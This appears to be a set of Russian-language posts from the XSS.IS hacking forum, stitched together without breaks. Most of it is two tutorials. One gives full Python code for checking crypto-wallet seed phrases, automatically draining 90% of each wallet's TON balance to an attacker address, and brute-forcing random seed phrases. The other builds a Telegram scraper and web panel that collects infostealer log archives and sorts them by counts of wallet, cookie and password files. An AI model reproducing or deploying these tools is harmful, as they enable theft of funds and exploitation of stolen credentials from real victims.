print(f"Ошибка при получении баланса для сид-фразы {' '.join(seed)}: {e}")
except Exception as e:
failed_wallets += 1
print(f"Неизвестная ошибка для сид-фразы {' '.join(seed)}: {e}")
# Вывод общей статистики
print("\n======== Общая статистика ========")
print(f"Общее количество кошельков: {total_wallets}")
print(f"Общий баланс: {total_balance}")
print(f"Кошельков с балансом > 0: {wallets_with_balance}")
print(f"Кошельков с балансом 0: {wallets_with_zero_balance}")
print(f"Не удалось проверить: {failed_wallets}")
if __name__ == "__main__":
asyncio.run(main())
В самом начале открываются два текстовых файла: в один записываются общие результаты с валидными кошельками и суммами на них, а во второй записываются только сид-фразы, успешно прошедшие проверку, без всякой лишней информации. Это сделано для того, чтобы в дальнейшем во втором софте использовать TXT только с рабочими кошельками без прочего мусора.
С софтом проверки на валидность и баланс закончено. Вот как выглядит
результат:
P.S. Отображение баланса без отображения сид-фразы связано с тем, что у
кошелька статус неактивный. Статус можно проверить по этой ссылке:
https://testnet.tonapi.io/v2/accounts/кошелек. На открывшейся странице
найдите ключ "status".
Теперь можно приступать к написанию второй программы. Первым делом также будут созданы несколько необходимых переменных.
Python:Copy to clipboard
from tonutils.client import TonapiClient
from tonutils.utils import to_amount
from tonutils.wallet import WalletV3R1
import asyncio
# Api ключ от tonconsole
api_key = ""
# Выбор сети
is_testnet = True
# Адрес получателя
destination_address = ""
# Путь к файлу с сид-фразами
file_path = "valid_seed.txt"
В данном проекте будет две функции. Первая функция будет инициализировать клиент, читать сид-фразы из текстового файла и запускать вторую функцию.
Python:Copy to clipboard
async def main():
client = TonapiClient(api_key=api_key, is_testnet=is_testnet)
while True:
# Чтение сид-фраз из файла
with open(file_path, "r") as file:
seed_phrases = [line.strip().split() for line in file]
# Проверка и перевод для каждого кошелька
for seed_phrase in seed_phrases:
await check_and_transfer(client, seed_phrase)
await asyncio.sleep(1) # Пауза между проверками
Как видно из кода, вызывается функция check_and_transfer с передачей в нее сид-фразы. Теперь нужно написать логику этой вызываемой функции.
Python:Copy to clipboard
async def check_and_transfer(client, seed_phrase):
retries = 3 # Количество попыток
for attempt in range(retries):
try:
# Создание кошелька на основе мнемонической фразы
wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, seed_phrase)
# Проверка баланса
balance = await wallet.balance()
balance_amount = to_amount(balance)
# Проверка, если баланс больше 0, выполнить перевод
if balance_amount > 0:
transfer_amount = balance_amount * 0.9 # 90% от баланса
# Создание транзакции и запись возвращенного хэша транзакции
tx_hash = await wallet.transfer(destination=destination_address, amount=transfer_amount, body="test",)
print(f"Переведено {transfer_amount} TON! Транзакция: {tx_hash}")
else:
print(f"Баланс на кошельке: {balance_amount} TON")
break # Завершение цикла при успешной транзакции
except Exception as e:
print(f"Ошибка для кошелька с сид-фразой {' '.join(seed_phrase)}: {e}")
if attempt < retries - 1:
print(f"Повторная попытка {attempt + 1} через 1 секунду...")
await asyncio.sleep(1) # Пауза перед следующей попыткой
else:
print("Все попытки исчерпаны. Переход к следующему кошельку.")
Хочу отметить, что повторная попытка проверки кошелька нужна, потому что у используемого API есть ограничение в 1 запрос в секунду, и API довольно часто отклоняет запросы. Другого решения данной проблеме я не нашел, разве что создать несколько ключей API с разных аккаунтов и чередовать их.
Также хотел разъяснить, как работает создание транзакции. Вызывается метод transfer из библиотеки tonutils, в который передаются такие параметры, как адрес для отправки, сумма и комментарий. В ответ от этого метода приходит хэш транзакции. Дело в том, что даже если транзакция отменена, метод отправит сообщение об удачной отправке транзакции, поэтому нужно добавить проверку на то, что транзакция действительно прошла успешно. Для этого нужно получить информацию о транзакциях на кошельке, куда отправляются деньги, и проверить самую последнюю транзакцию на ключ "success"; этот флаг должен находиться в true. Чтобы получить информацию о транзакциях, нужно воспользоваться этим адресом API: testnet.tonapi.io/v2/blockchain/accounts/адрес_кошелька/transactions.
Итак, первое, что будет сделано, — это новая функция для проверки транзакций.
Python:Copy to clipboard
async def check_transaction_confirmation():
retries = 5
url = f"https://testnet.tonapi.io/v2/blockchain/accounts/{destination_address}/transactions"
async with aiohttp.ClientSession() as session:
for attempt in range(retries):
async with session.get(url) as response:
if response.status == 200:
data = await response.json()
first_transaction = data.get("transactions", [{}])[0]
# Проверка подтверждения первой транзакции
if first_transaction.get("success", False):
return True # Транзакция подтверждена
else:
print(f"Попытка {attempt + 1}: транзакция не подтверждена, повтор через 1 секунду.")
await asyncio.sleep(1) # Пауза перед повторной проверкой
return False # Если после пяти попыток транзакция не подтвердилась
Хочу отметить пару моментов. Получение ответа от API находится внутри цикла for, т.к. если вынести за цикл, то, если транзакция не подтверждена, повторно будет браться тот же ответ от API, в итоге данные будут устаревшими. Также повторные попытки были добавлены для того, чтобы транзакция успела подтвердиться.
Теперь эту функцию нужно вызвать после отправки транзакции внутри функции check_and_transfer.
Python:Copy to clipboard
transfer_amount = balance_amount * 0.9 # 90% от баланса
# Создание транзакции и запись возвращенного хэша транзакции
tx_hash = await wallet.transfer(destination=destination_address, amount=transfer_amount, body="test",)
print(f"Переведено {transfer_amount} TON! Транзакция: {tx_hash}")
await asyncio.sleep(5)
# Проверка подтверждения транзакции
confirmed = await check_transaction_confirmation()
if confirmed:
print("Транзакция подтверждена.")
else:
print("Транзакция не подтверждена.")
Пауза в 5 секунд была установлена для того, чтобы транзакция в принципе появилась в списке, т.к. по моим наблюдениям она появляется в среднем через 3–5 секунд.
Вот результаты работы данного софта:
Как видно, после каждой оплаты сумма действительно изменялась, это может
означать только то, что автовывод работает и баланс действительно переводился.
На этом софт для проверки баланса по сид-фразе и софт для автовывода завершены.
Также хочу просто показать скрипт, генерирующий сид-фразы, а затем кошельки из них и проверку их баланса. Эдакое казино практически с нулевым шансом выигрыша (данный софт мне напоминает Jingleminer, с таким же минимальным шансом, но все же не с нулевым).
Python:Copy to clipboard
import asyncio
import random
from tonutils.client import TonapiClient
from tonutils.utils import to_amount
from tonutils.wallet import WalletV3R1
# Api ключ от tonconsole
api_key = ""
# Выбор сети
is_testnet = True
file_path = "bip39.txt"
output_file = "results.txt"
async def check_balance_from_random_seed():
client = TonapiClient(api_key=api_key, is_testnet=is_testnet)
# Чтение всех слов из текстового файла
with open(file_path, 'r') as file:
word_list = file.read().split()
while True:
try:
# Генерация сид-фразы из 24 слов
seed_phrase = ' '.join(random.sample(word_list, 24))
# Создание кошелька на основе сид-фразы
wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, seed_phrase)
# Попытка проверки баланса
balance = await wallet.balance()
balance_amount = to_amount(balance)
print(f"Баланс для сид-фразы '{seed_phrase}': {balance_amount} TON")
except Exception as e:
# В случае ошибки баланс = None
balance_amount = None
print(f"Ошибка: {e}. Пропуск и продолжение.")
# Запись данных в файл
with open(output_file, 'a') as f:
f.write(f"Сид-фраза: {seed_phrase}\n")
f.write(f"Адрес кошелька: {wallet.address}\n")
f.write(f"Баланс: {balance_amount if balance_amount is not None else 'не удалось проверить'}\n\n")
await asyncio.sleep(1)
asyncio.run(check_balance_from_random_seed())
При генерации случайных кошельков из сид-фраз и проверке баланса может возникать ошибка 404. Это связано с тем, что пустые кошельки без переводов и с неактивным статусом не отображаются в данном API (tonconsole). Если кошелек активен, такой ошибки не будет. Также, даже если возникает ошибка 404, сгенерированный кошелек все равно записывается в текстовый файл вместе со своей сид-фразой.
Думаю, на этом статья подходит к своему концу. Она получилась достаточно простой, но мне кажется, что не бесполезной. Я старался создать софты, которые могут быть полезны пользователям этого форума. Конечно, софты не сказать, чтобы быстрые, но из-за использования API с ограничением в 1 запрос в секунду быстрее сделать не получится. Если у вас есть идеи о том, как улучшить производительность данного софта, с удовольствием прочитаю об этом в комментариях.
Ссылка на статью в виде документа -https://docs.google.com/document/d/1HdprSTc5M-5PrJomawSpCHZ3VyUMktQ3ZIW2bbvBiZQ/edit?usp=sharing
Также, если хотите протестировать данные софты в тестовой сети или уже на практике, то предоставляю вам ссылку на GitHub репозиторий -https://github.com/overlordgamedev/Checker-seed-phrase- TON
Сделано OverlordGameDev специально для форума XSS.IS
В этой статье будет реализован парсер для Telegram, который будет собирать zip- и rar-архивы из каналов. Для управления файлами будет создана веб-панель, с помощью которой можно фильтровать архивы по заданным критериям, таким как названия папок и файлов, указанные в конфигурации. Также будет добавлена возможность получать уведомления о новых собранных файлах. Работа программы будет протестирована на каналах, публикующих логи, а также на канале, публикующем исходники различных проектов.
Первое, что нужно сделать — это создать проект и подготовить его основную
структуру.
А именно:
Теперь можно приступать к написанию кода. Первым шагом будет импорт всех библиотек, которые потребуются в дальнейшем.
Python:Copy to clipboard
import io
import os
import shutil
import zipfile
import rarfile
from aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton
from flask import Flask, jsonify, render_template, send_file, request
from flask_sqlalchemy import SQLAlchemy
from pyrogram import Client
from datetime import datetime
from apscheduler.schedulers.background import BackgroundScheduler
import json
import progressbar
from aiogram import Bot
Так как панель будет на вебе, по классике я буду использовать Flask в связке с SQLAlchemy (с базой данных SQLite), поэтому его нужно инициализировать.
Python:Copy to clipboard
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///files.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
Далее нужно указать инициализацию базы данных внутри контекста приложения Flask, а также запуск самого Flask-приложения.
Python:Copy to clipboard
if __name__ == "__main__":
with app.app_context():
db.create_all()
app.run(debug=True, use_reloader=False)
Далее укажем необходимые переменные.
Python:Copy to clipboard
rarfile.UNRAR_TOOL = os.path.abspath(r'WinRAR\UnRAR.exe') # Путь до unrar.exe
folder_extractions = ""
max_size =
channels = ["@channel", "@channel1", "@channe2", "@channe3"]
api_id =
api_hash = ""
session_string = ""
tg_client = Client(name="my_session", session_string=session_string, api_id=api_id, api_hash=api_hash)
Для того, чтобы получить сессию, придется написать небольшой скрипт. Использовать он будет библиотеку Pyrogram.
Python:Copy to clipboard
from pyrogram import Client
api_id = 123213123
api_hash = ""
with Client("my_account", api_id, api_hash) as client:
try:
client.start()
except:
pass
print("Сессия:", client.export_session_string())
Как видно из кода, для получения сессии нужно указать api_id и api_hash.
Для того чтобы получить необходимые данные, нужно перейти по ссылке:
https://my.telegram.org/apps.
Затем ввести номер телефона от аккаунта, который будет использован.
Далее нужно заполнить все поля, кроме последнего (оно не обязательно).
После заполнения нужно нажать на кнопку Create; после этого откроется
страница, где будут находиться API ID и API hash.
После того как в код вставлены API ID и API hash, можно запустить скрипт для
получения сессии. В консоли потребуется указать номер телефона, пройти 2FA
(если оно есть) и ввести код из SMS.
P.S. Лучше не пытайтесь получить сессию с аккаунта, зарегистрированного на
виртуальный номер. Такие аккаунты сразу же блокируются безвозвратно (проверено
на моем опыте). В живых остаются лишь аккаунты, созданные на реальную SIM-
карту.
Теперь рассмотрим создание таблиц в базе данных. Таблиц будет всего три:
Мы будем связывать их с помощью внешних ключей, которые позволяют установить связи между таблицами. Внешний ключ устанавливается для столбцов из зависимой, подчиненной таблицы и указывает на один из столбцов из главной таблицы. Как правило, внешний ключ указывает на первичный ключ из связанной главной таблицы.
Модель базы данных для хранения и записи всех скачанных архивов из Telegram будет использоваться для проверки на дубликаты файлов по размеру и имени файла.
Python:Copy to clipboard
class FileRecord(db.Model):
id = db.Column(db.Integer, primary_key=True)
file_id = db.Column(db.String, unique=True, nullable=False)
file_name = db.Column(db.String, nullable=False)
file_size = db.Column(db.Integer, nullable=False)
download_date = db.Column(db.DateTime, default=datetime.utcnow)
def __repr__(self):
return f'<FileRecord {self.file_name} ({self.file_size} bytes)>'
Модель базы данных для хранения информации о папках и дополнительных данных будет использоваться для отображения всех файлов и их директорий на странице с логами, создавая более подробный отчет.
Python:Copy to clipboard
class FolderRecord(db.Model):
id = db.Column(db.Integer, primary_key=True)
logs_id = db.Column(db.Integer, db.ForeignKey('logs.id'), nullable=False)
file_record_id = db.Column(db.Integer, db.ForeignKey('file_record.id'),
nullable=False)
folder_name = db.Column(db.String, nullable=False)
rel_path = db.Column(db.String, nullable=True)
def __repr__(self):
return f'<FolderRecord {self.folder_name}, txt: {self.txt}, folder: {self.folder}>'
Модель базы данных для хранения информации о логах и вывода на странице с логами будет использоваться для отображения различных заданных параметров по фильтру.
Python:Copy to clipboard
class Logs(db.Model):
id = db.Column(db.Integer, primary_key=True)
file_record_id = db.Column(db.Integer, db.ForeignKey('file_record.id'),
nullable=False)
folder_name = db.Column(db.String, nullable=False)
count_param = db.Column(db.String)
full_path = db.Column(db.String)
Далее начнем реализовывать логику для скачивания архивов из каналов.
Как это устроено:
История сообщений из канала
Для начала рассмотрим, как выглядит история сообщений из канала.
Spoiler: История сообщений
Как видно из последнего скриншота, в ключе документ указываются данные вложения, а также под этими данными представлена общая статистика по сообщению. То есть можно настроить достаточно гибкую фильтрацию по множеству параметров без каких-либо проблем.
Теперь рассмотрим саму функцию для парсинга более подробно.
Python:Copy to clipboard
async def download_smallest_archive():
try:
async with tg_client:
for channel in channels:
async for message in tg_client.get_chat_history(channel):
if message.document and message.document.mime_type in ["application/zip", "application/vnd.rar"]:
file = message.document
if FileRecord.query.filter_by(file_name=file.file_name,
file_size=file.file_size).first() or file.file_size > max_size or file.date < time_started:
continue
print(f"Файл качается {file.file_name}")
bar = progressbar.ProgressBar(maxval=file.file_size, widgets=['Loading: ', progressbar.AnimatedMarker()]).start()
file_path = await tg_client.download_media(file.file_id, file_name=file.file_name, progress=progress, progress_args=(file.file_size, bar))
file_record = FileRecord(
file_id=file.file_id,
file_name=file.file_name,
file_size=file.file_size,
download_date=file.date.astimezone()
)
db.session.add(file_record)
db.session.commit()
print(f"Файл скачался {file.file_name}")
await extract_archive(file_path, f"{folder_extractions}/{os.path.basename(file_path)}", file_record.id)
print(f"Файл разархивировался {file.file_name}")
except Exception as err:
print(err)
С помощью цикла for перебираем каналы, указанные в настройках, и вызываем tg_client.get_chat_history(channel) для получения объекта с сообщениями. Одно из сообщений сохраняем в переменную message, чтобы проверить его mime_type и сравнить с заданными параметрами ["application/zip", "application/vnd.rar"] — так выбираются только zip и rar архивы.
Далее проверяем файл на уникальность по file_name и file_size (эта проверка проводится до скачивания, а не по хешу после скачивания). Также проверяется максимальный допустимый размер файла и дата, чтобы отсеять старые сообщения и избежать загрузки слишком больших файлов, например, 5-гигабайтных логов.
Перед загрузкой файла инициализируем и запускаем анимацию для отображения процесса загрузки. Затем передаем в функцию для обновления (бар) идентификатор файла, его имя и дополнительные параметры, такие как максимальный размер и объект прогресс-бара. Запускаем функцию загрузки tg_client.download_media и попутно запускаем функцию обновления прогресс-бара под названием progress (будет показана позже).
После загрузки файла добавляем запись в таблицу file_record и сохраняем изменения в базе данных. Затем разархивируем файл с помощью функции extract_archive, передавая путь до архива, место для распаковки и идентификатор файла, чтобы пометить его как разархивированный.
Python:Copy to clipboard
async def progress(current, total, file_size=None, bar=None):
try:
print(f"current: {current}")
print(f"full_size: {file_size}")
if current < file_size: # Что бы избежать ошибки ZeroDivisionError и переполнения
bar.update(current) # обновляет анимацию загрузки bar
except ZeroDivisionError:
pass # Игнорировать ошибку если скачано 0 байт
P.S. total в примере документации должен работать и передавать размер файла, но, к сожалению, он сломан, поэтому передаем свой параметр file_size вместо total, чтобы отслеживать процесс.
Теперь можно было бы рассмотреть функцию разархивации, но перед этим
рассмотрим использование scheduler (планировщик, позволяющий запланировать
запуск функций с конкретным интервалом).
Можно было бы использовать бесконечный цикл для функции парсинга, но тогда
Flask будет занимать основной поток, и функция не будет запускаться, так как
поток занят. Чтобы это исправить, можно запустить Flask в отдельном потоке, а
в основном вызывать асинхронную функцию парсинга. Однако в данном случае мне
показалось, что использование scheduler — более подходящий вариант, так как на
форумах люди советуют не выносить Flask в отдельный поток, а использовать его
контекстное меню.
Настройка параметров запуска планировщика задач и его задач.
Python:Copy to clipboard
scheduler = BackgroundScheduler()
scheduler.add_job(
scheduled_download,
'interval',
max_instances=1,
minutes=1,
next_run_time=datetime.now()
)
scheduler.start()
scheduler = BackgroundScheduler — это инициализация планировщика.
scheduler.add_job — это добавление новой задачи в планировщик с конкретными параметрами, такими как:
Затем запускаем планировщик.
Как видно, внутри задачи указана функция scheduled_download. В данной функции будет вызываться функция парсинга, и она будет вызываться в контексте приложения Flask.
Python:Copy to clipboard
def scheduled_download():
with app.app_context():
tg_client.loop.run_until_complete(download_smallest_archive())
Теперь можем рассмотреть функцию для разархивации архивов из каналов.
И первое, что указано внутри функции — это определение типа файла: zip или
rar, а также разархивация соответствующим методом.
Python:Copy to clipboard
async def extract_archive(file_path, dest_folder, file_record_id):
os.makedirs(dest_folder, exist_ok=True)
try:
if file_path.endswith('.zip'):
with zipfile.ZipFile(file_path, 'r') as archive:
archive.extractall(dest_folder)
elif file_path.endswith('.rar'):
with rarfile.RarFile(file_path, 'r') as archive:
archive.extractall(path=dest_folder)
else:
raise ValueError("Неподдерживаемый формат файла. Поддерживаются только zip и rar.")
except (rarfile.BadRarFile, rarfile.PasswordRequired, rarfile.NeedFirstVolume, rarfile.RarCannotExec) as e:
print(f"Ошибка с файлом: {e}")
return
папок и корректной записи данных в базу данных.
Дело в том, что разные пользователи архивируют по-своему: у кого-то в архиве
сразу находятся файлы логов формата с TXT файлами и несколько папок, а у кого-
то — множество папок, каждая из которых содержит файлы логов и другие данные.
Чаще всего встречается второй вариант, и для него была написана логика записи
имени основной папки каждого лога из архива.
Однако, если использовать тот же метод для архива, который разархивировался в папку, содержащую сразу файлы логов, в базу данных записывался первый попавшийся файл в качестве основного названия папки лога. В связи с этим я применил, на мой взгляд, максимально возможный костыль: проверяется наличие файла с расширением .txt непосредственно в разархивированной папке. Если такой файл присутствует, предполагается, что это уже папка с данными лога. В таком случае создается новая папка внутри разархивированной, и все файлы перемещаются в нее, тем самым стандартизируя структуру путей как для архивов с множеством логов, так и для архивов с одним логом.
Возможно объяснение покажется запутанным, поэтому покажу оба вида папок с
логами.
Когда один лог в архиве:
Когда много логов в архиве:
А вот и сама логика проверки типа структуры папки и создания дополнительной папки:
Python:Copy to clipboard
if bool([f for f in os.listdir(dest_folder) if f.endswith('.txt')]):
# Создаем новую папку внутри dest_folder с уникальным именем (без расширения .zip или .rar)
archive_name = os.path.splitext(os.path.basename(file_path))[0]
new_folder_path = os.path.join(dest_folder, archive_name)
# Перемещаем все файлы и папки из dest_folder в новую папку
for item in os.listdir(dest_folder):
old_path = os.path.join(dest_folder, item)
new_path = os.path.join(new_folder_path, item)
# Проверяем, что не пытаемся переместить папку в саму себя
if old_path != new_path:
# Убедимся, что новая папка не существует, иначе пропустим перемещение
if not os.path.exists(new_folder_path):
os.makedirs(new_folder_path)
# Если это файл, перемещаем его
if os.path.isfile(old_path):
shutil.move(old_path, new_path)
# Если это директория, перемещаем всю директорию
elif os.path.isdir(old_path):
shutil.move(old_path, new_path)
Далее мы получаем ключевые слова (параметры) из конфига, которые будем использовать в дальнейшем при обработке файлов и подсчете статистики по фильтрам искомых файлов:
Python:Copy to clipboard
with open("config.json", 'r') as file:
keywords = json.load(file).get("name_file", [])
Вот и сама обработка
Python:Copy to clipboard
for dir_log in os.listdir(dest_folder):
count_list = [] # массив для счетчик с нашими параметрами из конфига
for keyword in keywords:
# Подсчитаем количество файлов и папок, содержащих ключевое слово в названии
count = 0
for dirpath, dirnames, filenames in os.walk(os.path.join(dest_folder, dir_log)):
# Проверка в самой папке (dirpath) — если название папки содержит ключевое слово
if keyword in os.path.basename(dirpath):
count += 1
# Проверка в папках (dirnames)
if any(keyword in dirname for dirname in dirnames):
count += 1
# Проверка в файлах (filenames)
if any(keyword in filename for filename in filenames):
count += 1
count_list.append(str(count)) # добавляем этот счетчик в архив
Мы получаем список всех папок в dir_log для обработки в цикле, инициализируем
массив для счетчиков с нашими параметрами из конфига (count_list). Далее,
используя уже полученный конфиг, перебираем ключевые слова для поиска, также
инициализируем счетчик (count) для каждого параметра из конфига. Используем
'Волкера' для обхода всех файлов и папок с получением полного пути, имени
папки и названия файла.
Проверяем на первое ключевое слово каждую из этих переменных (dirpath,
dirname, filename), обновляя счетчик.
В конце мы собираем наш массив со счетчиками с помощью
count_list.append(str(count)).
Так же и с остальными ключевыми словами (параметрами из конфига), пока список
не закончится.
После прохождения цикла нам нужно добавить запись в базу данных о логе.
Вот функция, которая, используя полученные переменные, создает запись.
Python:Copy to clipboard
log = Logs(full_path=os.path.abspath(os.path.join(dest_folder, dir_log)), folder_name=dir_log,
file_record_id=file_record_id, count_param=",".join(count_list))
db.session.add(log)
db.session.commit()
"P.S. count_param нужен для объединения списков через запятую, поэтому
используем функцию ",".join для нашего списка.
Далее, чтобы сделать уведомления, соберем наше сообщение и создадим
клавиатуру.
Сама клавиатура будет inline, чтобы прикрепляться к сообщению, а не появляться
в GUI переписки как reply."
Python:Copy to clipboard
ikb = InlineKeyboardMarkup(
inline_keyboard=[
[
InlineKeyboardButton(text=f"Скачать", url=f"{host}/download_folder/{log_id}"),
],
])
InlineKeyboardMarkup нужен для инициализации самого объекта клавиатуры.
inline_keyboard нужен для добавления списка клавиш.
InlineKeyboardButton нужен для инициализации самого объекта клавиши, в котором
указываем текст и ссылку, поэтому параметры — text и url, а не callback.
Для запуска самой рассылки используем admins_tg_id, где список наших ID,
которым делаем рассылку, и функцию send_message для отправки сообщения с
клавиатурой.
Python:Copy to clipboard
for admin_tg_id in admins_tg_id:
await bot.send_message(chat_id=admin_tg_id, text=text, reply_markup=ikb)
Добавление записей в таблицу FolderRecord для будущего вывода каждого файла в панели.
Python:Copy to clipboard
for dirpath, _, filenames in os.walk(os.path.join(dest_folder, dir_log)):
for filename in filenames:
rel_path = os.path.relpath(os.path.join(dirpath, filename), dest_folder)
folder_record = FolderRecord(
file_record_id=file_record_id,
folder_name=rel_path.split(os.sep)[0],
rel_path=rel_path,
logs_id=log_id
)
db.session.add(folder_record)
db.session.commit()
Такой код мы уже видели с использованием 'Волкера', поэтому он не требует объяснения.
Теперь можно приступить к работе с веб-панелью. Первым делом будет реализован маршрут до страницы index.html.
Python:Copy to clipboard
@app.route("/index")
def index():
with open("config.json", 'r') as file:
config = json.load(file)
config_columns = config.get("name_file", [])
all_logs = Logs.query.all()
return render_template('index.html', all_logs=all_logs, config_columns=config_columns)
В данной функции берутся ключевые слова из файла конфига, а также получаются все записи из таблицы Logs. Затем эти данные передаются на страницу. Получение ключевых слов нужно для того, чтобы на веб-странице сделать таблицу со столбцами, в которых будет название, взятое именно из конфига.
Далее рассмотрим еще один маршрут, чтобы в дальнейшем добавить в панели кнопку для скачивания конкретного лога.
Python:Copy to clipboard
@app.route("/download_folder/<int:log_id>")
def download_folder(log_id):
# Получаем лог по ID
log = Logs.query.get(log_id)
if not log:
return "Log not found", 404
folder_path = log.full_path
print(folder_path)
if not os.path.exists(folder_path):
return "Folder not found", 404
folder_name = os.path.basename(folder_path) # Название папки из полного пути
zip_filename = f"{folder_name}.zip"
zip_filepath = os.path.join(folder_zipper_panel, zip_filename) # путь где создание архива
if not os.path.exists(folder_zipper_panel):
os.makedirs(folder_zipper_panel)
# Создание архива
with zipfile.ZipFile(zip_filepath, 'w', zipfile.ZIP_DEFLATED) as zipf:
for dirpath, dirnames, filenames in os.walk(folder_path):
for filename in filenames:
file_path = os.path.join(dirpath, filename)
zipf.write(file_path,
os.path.relpath(file_path, folder_path)) # Добавляем файл в архив с относительным путем
# Отправляем архив в браузер
return send_file(zip_filepath, as_attachment=True)
В наш роутер передается значение log_id типа int для поиска по базе данных с помощью функции log = Logs.query.get(log_id). Если запись не найдена, мы возвращаем ('Log not found', 404). Далее проверяем, существует ли папка по указанному полному пути; если нет — возвращаем ('Folder not found', 404). Если все в порядке, генерируем имя архива на основе имени папки (folder_path), добавляем к нему суффикс .zip и объединяем с путем для хранения архивов (folder_zipper_panel). Проверяем существование пути, и если его нет — создаем папку. Затем создаем архив с помощью класса ZipFile из библиотеки zipfile, указывая путь, режим записи и метод компрессии. Далее записываем все файлы в архив с помощью метода zipf.write.
Теперь нам нужно перейти в шаблон файл index.html (он же templates) для
отображения всей информации на странице с возможностью скачивания файлов.
А именно, таблица со столбцами:
Для начала будет создана основа для таблицы, а именно — заголовки каждого столбца.
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>File Records</title>
<link rel="stylesheet" href="{{ url_for('static', filename='index.css') }}">
</head>
<body>
<h1>File Records</h1>
<table border="1">
<thead>
<tr>
<th>Folder Name</th>
{% for column in config_columns %}
<th>{{ column }}</th>
{% endfor %}
<th>Actions</th>
</tr>
</thead>
</table>
</body>
</html>
В данном коде создается таблица, в которой находится столбец с названием Folder Name, а также в цикле for перебираются все ключевые параметры (слова из конфига) для того, чтобы назвать столбцы такими же именами. Также в хедере указан путь до файла со стилями. Его рассматривать не вижу смысла, поэтому просто предоставлю его код в конце.
Теперь рассмотрим логику отображения данных самих логов внутри tbody.
HTML:Copy to clipboard
<tbody>
{% for log in all_logs %}
<tr>
<td>{{ log.folder_name }}</td>
{% set counts = log.count_param.split(',') %}
{% for count in counts %}
<td>{{ count }}</td>
{% endfor %}
<td>
<form action="{{ url_for('download_folder', log_id=log.id) }}">
<button type="submit">Download</button>
</form>
</td>
</tr>
<tr>
<td colspan="{{ config_columns | length + 2 }}">
<details>
<summary>Показать файлы</summary>
<ul>
<div class="full_info">
{% for record in log.folder_records %}
{{ record.rel_path }}
{% endfor %}
</div>
</ul>
</details>
</td>
</tr>
{% endfor %}
</tbody>
Цикл {% for log in all_logs %} нужен для того, чтобы перебирать каждую строку
в базе данных из таблицы Logs и записывать ее в переменную log. Выводим
столбцы folder_name, а далее берем count_param и разбиваем на отдельные числа,
чтобы вывести их в другие столбцы (например, в моем случае появились wallet,
Cookies, password, process). Далее мы добавляем под заголовок Actions столбец
с формой и кнопкой скачивания (Download).
P.S. Форма action нужна для перехода на url_for('download_folder') с указанием
нашего id лога и отправки для скачивания. Далее делаем кнопку "Показать все
файлы лога" и перечисляем их из log.folder_records (именно для этого
создавалась таблица folder_records).
Стили для панели:
CSS:Copy to clipboard
body{
display: flex;
flex-direction: column;
align-items: center;
background: #17212b;
color: #f5f5f5;
font-family: Regular, sans-serif
}
h1 {
text-align: center;
color: #f5f5f5;
margin: 2% 0% 0%;
}
table {
width: 100%;
margin: 20px 0;
border-collapse: collapse;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
background-color: #1e1e1e;
}
th, td {
padding: 12px;
text-align: center;
border: 1px solid #35414d;
}
th {
background-color: #366693;
color: #f5f5f5;
}
td {
background-color: #202b36;
color: #f5f5f5;
}
tr:nth-child(even) td {
background-color: #202b36;
}
tr:hover {
background-color: #444;
}
button{
background: #4c9ce2;
color: #f5f5f5;
border: none;
padding: 5%;
border-radius: 5px;
width: 100px;
}
.full_info{
}
Вот как по итогу выглядит веб-панель:
Вот как выглядят уведомления в Telegram:
На этом с написанием проекта закончено. Также я настроил его для работы с Docker, чтобы вы могли быстро развернуть его на своём VDS или хостинге с K8s (Kubernetes).
Для этого, как ни странно, понадобится сам Docker, который можно скачать по
ссылке: https://www.docker.com/
Далее нужно скачать сам проект, который я выложил на GitHub:[
https://github.com/overlordgamedev/Telegram-File-
Parser/tree/main](https://github.com/overlordgamedev/Telegram-File-
Parser/tree/main)
Затем нужно зайти в скачанную папку с проектом, открыть командную строку в
этой папке и ввести команду:
docker-compose up -d
После этой команды начнется скачивание образа Docker с Python и необходимых библиотек. По окончанию скачивания можно будет перейти по ссылке 127.0.0.1:5000 или по общедоступной ссылке на ваш сервер.
Я старался создать софт, который будет полезен для данного форума, и считаю, что мне это удалось. Этот софт можно использовать на приватных облаках с логами, что лучше, чем просто включить уведомления в канале. В таком случае вы избегаете лишних уведомлений с рекламными постами и получаете статистику по каждому логу. Кроме того, софт универсален и не ограничивается только работой с логами — им можно сортировать любые архивы из каналов по любым названиям папок и файлов.
Из сложностей в разработке хочу отметить, как корректно работать со структурой папок и логов внутри них, а также правильно сохранять данные в базу данных и отображать их в веб-панели. Как всегда, если у вас есть замечания по реализации какой-либо логики, с удовольствием прочту ваши предложения в комментариях.
**Разработано OverlordGameDev специально для форума XSS.IS.
Ссылка на статью в виде документа - https://docs.google.com/document/d/1-HhuQ1tewoHjuNmI3soeU1eMLaVfH8lFxQPhWfFXXEI/edit?usp=sharing **
Данной командой я разложу
из формата CIDR в список столбом все диапазоны
Python:Copy to clipboard
import ipaddress
ips = ipaddress.IPv4Network('192.168.1.1/24')
for ip in ips:print(ip)
Можно ли разложить сразу несколько ip? Попытка оказалась не удачной:С
Python:Copy to clipboard
import ipaddress
ips = ipaddress.IPv4Network('192.168.1.1/24')
ips = ipaddress.IPv4Network('192.168.1.1/24')
for ip in ips:print(ip)
Спасибо
В целях самообразования и дисциплинирования себя, как разработчика, предлагаю
вам свою помощь в написании кода на Python 3.x.
Возьмусь за задачи уровня "Chat GPT уже не справляется, но и самому писать
рутинно".
Свои проекты я пишу с незавидным усердием, надеюсь, что пинок под зад от
форумчан поможет мне в устранении этой проблемы.
Еще раз уточню, что хочу решать проблемы разработки программ, не превышающих в
объеме ~300-500 строк. Если Вы захотите заказать бесплатное написание нового
YouTube за "спасибо", не удивляйтесь, что я Вам откажу.
Идею взял у такого же перспективного парня в этом разделе.
